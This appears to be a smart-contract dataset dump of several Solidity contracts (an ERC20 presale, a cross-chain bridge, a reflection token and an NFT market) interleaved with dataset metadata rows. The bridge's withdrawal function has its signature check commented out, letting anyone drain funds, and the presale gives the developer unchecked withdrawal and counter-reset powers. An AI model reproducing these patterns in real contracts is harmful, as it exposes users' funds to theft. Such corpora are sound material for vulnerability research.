uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
contract IglooSale is Ownable {
using SafeERC20 for ERC20;
using Address for address;
uint constant MIMdecimals = 10 ** 18;
uint constant IGLOOdecimals = 10 ** 18;
uint public constant MAX_SOLD = 30000 * IGLOOdecimals;
uint public constant PRICE = 1 * MIMdecimals / IGLOOdecimals ;
uint public constant MIN_PRESALE_PER_ACCOUNT = 50 * IGLOOdecimals;
uint public constant MAX_PRESALE_PER_ACCOUNT = 1250 * IGLOOdecimals;
address public dev;
ERC20 MIM;
uint public sold;
address public IGLOO;
bool canClaim;
bool privateSale;
mapping(address => uint256) public invested;
mapping(address => bool) public claimed;
mapping(address => bool) public approvedBuyers;
mapping(address => bool) public blacklisted;
constructor(address _dev, address mim) {
MIM = ERC20(mim);
dev = _dev;
sold = 0;
}
modifier onlyEOA() {
require(msg.sender == tx.origin, "!EOA");
_;
}
function _approveBuyer(address newBuyer_) internal onlyOwner() returns (bool) {
approvedBuyers[newBuyer_] = true;
return approvedBuyers[newBuyer_];
}
function approveBuyer(address newBuyer_) external onlyOwner() returns (bool) {
return _approveBuyer(newBuyer_);
}
function approveBuyers(address[] calldata newBuyers_) external onlyOwner() returns (uint256) {
for(uint256 iteration_ = 0; newBuyers_.length > iteration_; iteration_++) {
_approveBuyer(newBuyers_[iteration_]);
}
return newBuyers_.length;
}
function _deapproveBuyer(address newBuyer_) internal onlyOwner() returns (bool) {
approvedBuyers[newBuyer_] = false;
return approvedBuyers[newBuyer_];
}
function deapproveBuyer(address newBuyer_) external onlyOwner() returns (bool) {
return _deapproveBuyer(newBuyer_);
}
function _blacklistBuyer(address badBuyer_) internal onlyOwner() returns (bool) {
blacklisted[badBuyer_] = true;
return blacklisted[badBuyer_];
}
function blacklistBuyer(address badBuyer_) external onlyOwner() returns (bool) {
return _blacklistBuyer(badBuyer_);
}
function blacklistBuyers (address[] calldata badBuyers_) external onlyOwner() returns (uint256) {
for (uint256 iteration_ = 0; badBuyers_.length > iteration_; iteration_++) {
_blacklistBuyer(badBuyers_[iteration_]);
}
return badBuyers_.length;
}
function amountBuyable(address buyer) public view returns (uint256) {
uint256 max;
if (approvedBuyers[buyer] && privateSale) {
max = MAX_PRESALE_PER_ACCOUNT;
}
return max - invested[buyer];
}
function buyIGLOO(uint256 amount) public onlyEOA {
require(sold < MAX_SOLD, "sold out");
require(sold + amount < MAX_SOLD, "not enough remaining");
require(amount <= amountBuyable(msg.sender), "amount exceeds buyable amount");
require(amount + invested[msg.sender] >= MIN_PRESALE_PER_ACCOUNT, "amount is not sufficient");
MIM.safeTransferFrom(msg.sender, address(this), amount * PRICE);
invested[msg.sender] += amount;
sold += amount;
}
// set IGLOO token address and activate claiming
function setClaimingActive(address igloo) public {
require(msg.sender == dev, "!dev");
IGLOO = igloo;
canClaim = true;
}
// claim IGLOO allocation based on old + new invested amounts
function claimIGLOO() public onlyEOA {
require(canClaim, "cannot claim yet");
require(!claimed[msg.sender], "already claimed");
require(!blacklisted[msg.sender], "blacklisted");
if (invested[msg.sender] > 0) {
ERC20(IGLOO).transfer(msg.sender, invested[msg.sender]);
}
claimed[msg.sender] = true;
}
// token withdrawal by dev
function withdraw(address _token) public {
require(msg.sender == dev, "!dev");
uint b = IERC20(_token).balanceOf(address(this));
IERC20(_token).transfer(dev,b);
}
// manual activation of whitelisted sales
function activatePrivateSale() public {
require(msg.sender == dev, "!dev");
privateSale = true;
}
// manual deactivation of whitelisted sales
function deactivatePrivateSale() public {
require(msg.sender == dev, "!dev");
privateSale = false;
}
function setSold(uint _soldAmount) public {
require(msg.sender == dev, "!dev");
sold = _soldAmount;
}
}
| 95,122 | 14,086 |
04fc21f7b1b2e1f0db58f233f64302b7514860f5fc4c8c75d5744305e6ddbb80
| 10,504 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xC2CbC7117306C6965Bb2E5169825Da00f25B0A92/contract.sol
| 2,846 | 9,856 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
// library SignatureUtils {
// function toEthBytes32SignedMessageHash (// bytes32 _msg
//)
// pure
// public
// returns (bytes32 signHash)
// {
// signHash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _msg));
// }
// function toEthPersonalSignedMessageHash(// bytes memory _msg
//)
// pure
// public
// returns (bytes32 signHash)
// {
// }
// function uintToString(// uint v
//)
// pure
// public
// returns (string memory)
// {
// uint w = v;
// bytes32 x;
// if (v == 0) {
// x = "0";
// } else {
// while (w > 0) {
// x = bytes32(uint(x) / (2 ** 8));
// x |= bytes32(((w % 10) + 48) * 2 ** (8 * 31));
// w /= 10;
// }
// }
// bytes memory bytesString = new bytes(32);
// uint charCount = 0;
// for (uint j = 0; j < 32; j++) {
// byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
// if (char != 0) {
// bytesString[charCount] = char;
// charCount++;
// }
// }
// bytes memory resultBytes = new bytes(charCount);
// for (uint j = 0; j < charCount; j++) {
// resultBytes[j] = bytesString[j];
// }
// return string(resultBytes);
// }
// function parseSignature(// bytes memory _signatures,
// uint _pos
//)
// pure
// public
// returns (uint8 v, bytes32 r, bytes32 s)
// {
// uint offset = _pos * 65;
// // The signature format is a compact form of:
// // {bytes32 r}{bytes32 s}{uint8 v}
// // Compact means, uint8 is not padded to 32 bytes.
// assembly { // solium-disable-line security/no-inline-assembly
// r := mload(add(_signatures, add(32, offset)))
// s := mload(add(_signatures, add(64, offset)))
// // Here we are loading the last 32 bytes, including 31 bytes
// // of 's'. There is no 'mload8' to do this.
// //
// // 'byte' is not working due to the Solidity parser, so lets
// // use the second best option, 'and'
// v := and(mload(add(_signatures, add(65, offset))), 0xff)
// }
// if (v < 27) v += 27;
// require(v == 27 || v == 28);
// }
// function countSignatures(// bytes memory _signatures
//)
// pure
// public
// returns (uint)
// {
// return _signatures.length % 65 == 0 ? _signatures.length / 65 : 0;
// }
// function recoverAddress(// bytes32 _hash,
// bytes memory _signatures,
// uint _pos
//)
// pure
// public
// returns (address)
// {
// uint8 v;
// bytes32 r;
// bytes32 s;
// (v, r, s) = parseSignature(_signatures, _pos);
// return ecrecover(_hash, v, r, s);
// }
// function recoverAddresses(// bytes32 _hash,
// bytes memory _signatures
//)
// pure
// public
// returns (address[] memory addresses)
// {
// uint8 v;
// bytes32 r;
// bytes32 s;
// uint count = countSignatures(_signatures);
// addresses = new address[](count);
// for (uint i = 0; i < count; i++) {
// (v, r, s) = parseSignature(_signatures, i);
// addresses[i] = ecrecover(_hash, v, r, s);
// }
// }
// }
interface IWETH {
function deposit() external payable;
function withdraw(uint) external;
}
contract ETHBurgerTransit {
using SafeMath for uint;
address public owner;
address public signWallet;
address public developWallet;
address public WETH;
uint public totalFee;
uint public developFee;
// key: payback_id
mapping (bytes32 => bool) public executedMap;
event Transit(address indexed from, address indexed token, uint amount);
event Withdraw(bytes32 paybackId, address indexed to, address indexed token, uint amount);
event CollectFee(address indexed handler, uint amount);
constructor(address _WETH, address _signer, address _developer) public {
WETH = _WETH;
signWallet = _signer;
developWallet = _developer;
owner = msg.sender;
}
receive() external payable {
assert(msg.sender == WETH);
}
function changeSigner(address _wallet) external {
require(msg.sender == owner, "CHANGE_SIGNER_FORBIDDEN");
signWallet = _wallet;
}
function changeDevelopWallet(address _developWallet) external {
require(msg.sender == owner, "CHANGE_DEVELOP_WALLET_FORBIDDEN");
developWallet = _developWallet;
}
function changeDevelopFee(uint _amount) external {
require(msg.sender == owner, "CHANGE_DEVELOP_FEE_FORBIDDEN");
developFee = _amount;
}
function collectFee() external {
require(msg.sender == owner, "FORBIDDEN");
require(developWallet != address(0), "SETUP_DEVELOP_WALLET");
require(totalFee > 0, "NO_FEE");
TransferHelper.safeTransferETH(developWallet, totalFee);
totalFee = 0;
}
function transitForBSC(address _token, uint _amount) external {
require(_amount > 0, "INVALID_AMOUNT");
TransferHelper.safeTransferFrom(_token, msg.sender, address(this), _amount);
emit Transit(msg.sender, _token, _amount);
}
function transitETHForBSC() external payable {
require(msg.value > 0, "INVALID_AMOUNT");
IWETH(WETH).deposit{value: msg.value}();
emit Transit(msg.sender, WETH, msg.value);
}
function withdrawFromBSC(bytes calldata _signature, bytes32 _paybackId, address _token, address _to, uint _amount) external payable {
require(_to == msg.sender, "FORBIDDEN");
require(executedMap[_paybackId] == false, "ALREADY_EXECUTED");
require(_amount > 0, "NOTHING_TO_WITHDRAW");
require(msg.value == developFee, "INSUFFICIENT_VALUE");
// bytes32 message = keccak256(abi.encodePacked(_paybackId, _token, _to, _amount));
// require(_verify(message, _signature), "INVALID_SIGNATURE");
if(_token == WETH) {
IWETH(WETH).withdraw(_amount);
TransferHelper.safeTransferETH(msg.sender, _amount);
} else {
TransferHelper.safeTransfer(_token, msg.sender, _amount);
}
totalFee = totalFee.add(developFee);
executedMap[_paybackId] = true;
emit Withdraw(_paybackId, msg.sender, _token, _amount);
}
// function _verify(bytes32 _message, bytes memory _signature) internal view returns (bool) {
// bytes32 hash = SignatureUtils.toEthBytes32SignedMessageHash(_message);
// address[] memory signList = SignatureUtils.recoverAddresses(hash, _signature);
// return signList[0] == signWallet;
// }
}
| 256,025 | 14,087 |
26da94530963bbaf9bffdc578e8296e2377a8eb2bbd37f20de867de7c608f1de
| 25,832 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/aa/aab3ee6407601623a61d6bbd352648ecbc1a4ded_SnoopyInu.sol
| 4,450 | 16,393 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.7.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SnoopyInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Snoopy Inu';
string private _symbol = 'SNOOPY';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 85,220 | 14,088 |
b3c39087343035084a5a71d125567bf7270642b1153be0eead7366d7eca54fbb
| 26,401 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x2df5c5eb37fba9b386cf0b39e6b209687ca67559.sol
| 4,442 | 14,177 |
pragma solidity ^0.4.24;
contract ERC721Receiver {
bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes _data) public returns(bytes4);
}
contract PixelConMarket is ERC721Receiver {
uint8 private constant LOCK_NONE = 0;
uint8 private constant LOCK_NO_LISTING = 1;
uint8 private constant LOCK_REMOVE_ONLY = 2;
uint256 private constant WEI_PER_GWEI = 1000000000;
uint256 private constant FEE_RATIO = 100000;
struct Listing {
uint64 startAmount; //gwei
uint64 endAmount; //gwei
uint64 startDate;
uint64 duration;
//// ^256bits ////
address seller;
uint32 sellerIndex;
uint64 forSaleIndex;
}
uint32 internal devFee; //percent*100000
uint32 internal priceUpdateInterval; //seconds
uint32 internal startDateRoundValue; //seconds
uint32 internal durationRoundValue; //seconds
uint64 internal maxDuration; //seconds
uint64 internal minDuration; //seconds
uint256 internal maxPrice; //wei
uint256 internal minPrice; //wei
PixelCons internal pixelconsContract;
address internal admin;
uint8 internal systemLock;
////////////////// Listings //////////////////
mapping(address => uint64[]) internal sellerPixelconIndexes;
mapping(uint64 => Listing) internal marketPixelconListings;
uint64[] internal forSalePixelconIndexes;
event Create(uint64 indexed _tokenIndex, address indexed _seller, uint256 _startPrice, uint256 _endPrice, uint64 _duration);
event Purchase(uint64 indexed _tokenIndex, address indexed _buyer, uint256 _price);
event Remove(uint64 indexed _tokenIndex, address indexed _operator);
modifier onlyAdmin {
require(msg.sender == admin, "Only the admin can call this function");
_;
}
modifier validAddress(address _address) {
require(_address != address(0), "Invalid address");
_;
}
constructor(address _admin, address _pixelconContract) public
{
require(_admin != address(0), "Invalid address");
require(_pixelconContract != address(0), "Invalid address");
admin = _admin;
pixelconsContract = PixelCons(_pixelconContract);
systemLock = LOCK_REMOVE_ONLY;
//default values
devFee = 1000;
priceUpdateInterval = 1 * 60 * 60;
startDateRoundValue = 5 * 60;
durationRoundValue = 5 * 60;
maxDuration = 30 * 24 * 60 * 60;
minDuration = 1 * 24 * 60 * 60;
maxPrice = 100000000000000000000;
minPrice = 1000000000000000;
}
function adminChange(address _newAdmin) public onlyAdmin validAddress(_newAdmin)
{
admin = _newAdmin;
}
function adminSetLock(bool _lock, bool _allowPurchase) public onlyAdmin
{
if (_lock) {
if (_allowPurchase) systemLock = LOCK_NO_LISTING;
else systemLock = LOCK_REMOVE_ONLY;
} else {
systemLock = LOCK_NONE;
}
}
function adminSetDetails(uint32 _devFee, uint32 _priceUpdateInterval, uint32 _startDateRoundValue, uint32 _durationRoundValue,
uint64 _maxDuration, uint64 _minDuration, uint256 _maxPrice, uint256 _minPrice) public onlyAdmin
{
devFee = _devFee;
priceUpdateInterval = _priceUpdateInterval;
startDateRoundValue = _startDateRoundValue;
durationRoundValue = _durationRoundValue;
maxDuration = _maxDuration;
minDuration = _minDuration;
maxPrice = _maxPrice;
minPrice = _minPrice;
}
function adminWithdraw(address _to) public onlyAdmin validAddress(_to)
{
_to.transfer(address(this).balance);
}
function adminClose(address _to) public onlyAdmin validAddress(_to)
{
require(forSalePixelconIndexes.length == uint256(0), "Cannot close with active listings");
selfdestruct(_to);
}
function getMarketDetails() public view returns(uint32, uint32, uint32, uint32, uint64, uint64, uint256, uint256)
{
return (devFee, priceUpdateInterval, startDateRoundValue, durationRoundValue, maxDuration, minDuration, maxPrice, minPrice);
}
////////////////// Listings //////////////////
function makeListing(address _seller, uint256 _tokenId, uint256 _startPrice, uint256 _endPrice, uint256 _duration) internal
{
require(_startPrice <= maxPrice, "Start price is higher than the max allowed");
require(_startPrice >= minPrice, "Start price is lower than the min allowed");
require(_endPrice <= maxPrice, "End price is higher than the max allowed");
require(_endPrice >= minPrice, "End price is lower than the min allowed");
